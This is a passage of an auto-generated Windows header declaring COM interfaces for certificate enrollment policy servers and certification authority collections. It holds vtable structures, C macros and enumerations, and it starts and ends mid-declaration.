STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificationAuthorities * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in_opt ICertificationAuthority *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ComputeSiteCosts )( \n            __RPC__in ICertificationAuthorities * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICertificationAuthorities * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **ppValue);\n        \n        END_INTERFACE\n    } ICertificationAuthoritiesVtbl;\n\n    interface ICertificationAuthorities\n    {\n        CONST_VTBL struct ICertificationAuthoritiesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificationAuthorities_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificationAuthorities_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificationAuthorities_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificationAuthorities_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificationAuthorities_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificationAuthorities_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificationAuthorities_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificationAuthorities_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertificationAuthorities_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertificationAuthorities_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertificationAuthorities_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertificationAuthorities_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertificationAuthorities_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICertificationAuthorities_ComputeSiteCosts(This)\t\\\n    ( (This)->lpVtbl -> ComputeSiteCosts(This) ) \n\n#define ICertificationAuthorities_get_ItemByName(This,strName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificationAuthorities_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0069 */\n/* [local] */ \n\ntypedef /* [public][public] */ \nenum __MIDL___MIDL_itf_certenroll_0000_0069_0001\n    {\tLoadOptionDefault\t= 0,\n\tLoadOptionCacheOnly\t= 1,\n\tLoadOptionReload\t= 2,\n\tLoadOptionRegisterForADChanges\t= 4\n    } \tX509EnrollmentPolicyLoadOption;\n\n\nenum EnrollmentPolicyFlags\n    {\tDisableGroupPolicyList\t= 0x2,\n\tDisableUserServerList\t= 0x4\n    } ;\ntypedef \nenum PolicyServerUrlPropertyID\n    {\tPsPolicyID\t= 0,\n\tPsFriendlyName\t= ( PsPolicyID + 1 ) \n    } \tPolicyServerUrlPropertyID;\n\ntypedef \nenum X509EnrollmentPolicyExportFlags\n    {\tExportTemplates\t= 0x1,\n\tExportOIDs\t= 0x2,\n\tExportCAs\t= 0x4\n    } \tX509EnrollmentPolicyExportFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0069_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0069_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__\n#define __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentPolicyServer */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentPolicyServer;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79026-2181-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentPolicyServer : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR bstrPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerId,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ VARIANT_BOOL fIsUnTrusted,\n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE LoadPolicy( \n            /* [in] */ X509EnrollmentPolicyLoadOption option) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetTemplates( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplates **pTemplates) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAsForTemplate( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAs( \n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Validate( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCustomOids( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppObjectIds) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetNextUpdateTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetLastUpdateTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetIsDefaultCEP( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetUseClientId( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAllowUnTrustedCA( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCachePath( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCacheDir( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAuthFlags( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetCredential( \n            /* [in] */ LONG hWndParent,\n            /* [in] */ X509EnrollmentAuthFlags flag,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE QueryChanges( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeImport( \n            /* [in] */ VARIANT val) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Export( \n            /* [in] */ X509EnrollmentPolicyExportFlags exportFlags,\n            /* [retval][out] */ __RPC__out VARIANT *pVal) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Cost( \n            /* [retval][out] */ __RPC__out DWORD *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Cost( \n            /* [in] */ DWORD value) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentPolicyServerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentPolicyServer * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR bstrPolicyServerId,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ VARIANT_BOOL fIsUnTrusted,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        HRESULT ( STDMETHODCALLTYPE *LoadPolicy )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ X509EnrollmentPolicyLoadOption option);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTemplates )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplates **pTemplates);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAsForTemplate )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAs )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthorities **ppCAs);\n        \n        HRESULT ( STDMETHODCALLTYPE *Validate )( \n            __RPC__in IX509EnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCustomOids )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppObjectIds);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetNextUpdateTime )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastUpdateTime )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerUrl )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerId )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetFriendlyName )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIsDefaultCEP )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetUseClientId )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAllowUnTrustedCA )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCachePath )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCacheDir )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAuthFlags )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetCredential )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ LONG hWndParent,\n            /* [in] */ X509EnrollmentAuthFlags flag,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryChanges )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeImport )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ VARIANT val);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ X509EnrollmentPolicyExportFlags exportFlags,\n            /* [retval][out] */ __RPC__out VARIANT *pVal);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Cost )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DWORD *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Cost )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ DWORD value);\n        \n        END_INTERFACE\n    } IX509EnrollmentPolicyServerVtbl;\n\n    interface IX509EnrollmentPolicyServer\n    {\n        CONST_VTBL struct IX509EnrollmentPolicyServerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentPolicyServer_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentPolicyServer_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentPolicyServer_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentPolicyServer_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentPolicyServer_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentPolicyServer_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentPolicyServer_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentPolicyServer_Initialize(This,bstrPolicyServerUrl,bstrPolicyServerId,authFlags,fIsUnTrusted,context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,bstrPolicyServerUrl,bstrPolicyServerId,authFlags,fIsUnTrusted,context) ) \n\n#define IX509EnrollmentPolicyServer_LoadPolicy(This,option)\t\\\n    ( (This)->lpVtbl -> LoadPolicy(This,option) ) \n\n#define IX509EnrollmentPolicyServer_GetTemplates(This,pTemplates)\t\\\n    ( (This)->lpVtbl -> GetTemplates(This,pTemplates) ) \n\n#define IX509EnrollmentPolicyServer_GetCAsForTemplate(This,pTemplate,ppCAs)\t\\\n    ( (This)->lpVtbl -> GetCAsForTemplate(This,pTemplate,ppCAs) ) \n\n#define IX509EnrollmentPolicyServer_GetCAs(This,ppCAs)\t\\\n    ( (This)->lpVtbl -> GetCAs(This,ppCAs) ) \n\n#define IX509EnrollmentPolicyServer_Validate(This)\t\\\n    ( (This)->lpVtbl -> Validate(This) ) \n\n#define IX509EnrollmentPolicyServer_GetCustomOids(This,ppObjectIds)\t\\\n    ( (This)->lpVtbl -> GetCustomOids(This,ppObjectIds) ) \n\n#define IX509EnrollmentPolicyServer_GetNextUpdateTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> GetNextUpdateTime(This,pDate) ) \n\n#define IX509EnrollmentPolicyServer_GetLastUpdateTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> GetLastUpdateTime(This,pDate) ) \n\n#define IX509EnrollmentPolicyServer_GetPolicyServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerUrl(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetPolicyServerId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerId(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetFriendlyName(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetIsDefaultCEP(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetIsDefaultCEP(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetUseClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetUseClientId(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetAllowUnTrustedCA(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAllowUnTrustedCA(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetCachePath(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetCachePath(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetCacheDir(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetCacheDir(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetAuthFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAuthFlags(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_SetCredential(This,hWndParent,flag,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> SetCredential(This,hWndParent,flag,strCredential,strPassword) ) \n\n#define IX509EnrollmentPolicyServer_QueryChanges(This,pValue)\t\\\n    ( (This)->lpVtbl -> QueryChanges(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_InitializeImport(This,val)\t\\\n    ( (This)->lpVtbl -> InitializeImport(This,val) ) \n\n#define IX509EnrollmentPolicyServer_Export(This,exportFlags,pVal)\t\\\n    ( (This)->lpVtbl -> Export(This,exportFlags,pVal) ) \n\n#define IX509EnrollmentPolicyServer_get_Cost(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Cost(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_put_Cost(This,value)\t\\\n    ( (This)->lpVtbl -> put_Cost(This,value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerUrl_INTERFACE_DEFINED__\n#define __IX509PolicyServerUrl_INTERFACE_DEFINED__\n\n/* interface IX509PolicyServerUrl */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PolicyServerUrl;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"884e204a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PolicyServerUrl : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Url( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Url( \n            /* [in] */ __RPC__in BSTR pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Default( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Default( \n            /* [in] */ VARIANT_BOOL value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Flags( \n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Flags( \n            /* [in] */ PolicyServerUrlFlags Flags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AuthFlags( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AuthFlags( \n            /* [in] */ X509EnrollmentAuthFlags Flags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Cost( \n            /* [retval][out] */ __RPC__out DWORD *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Cost( \n            /* [in] */ DWORD value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetStringProperty( \n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetStringProperty( \n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [in] */ __RPC__in BSTR pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE UpdateRegistry( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveFromRegistry( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509PolicyServerUrlVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PolicyServerUrl * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PolicyServerUrl * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PolicyServerUrl * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Url )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Url )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in BSTR pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Default )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Default )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ VARIANT_BOOL value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Flags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Flags )( \n            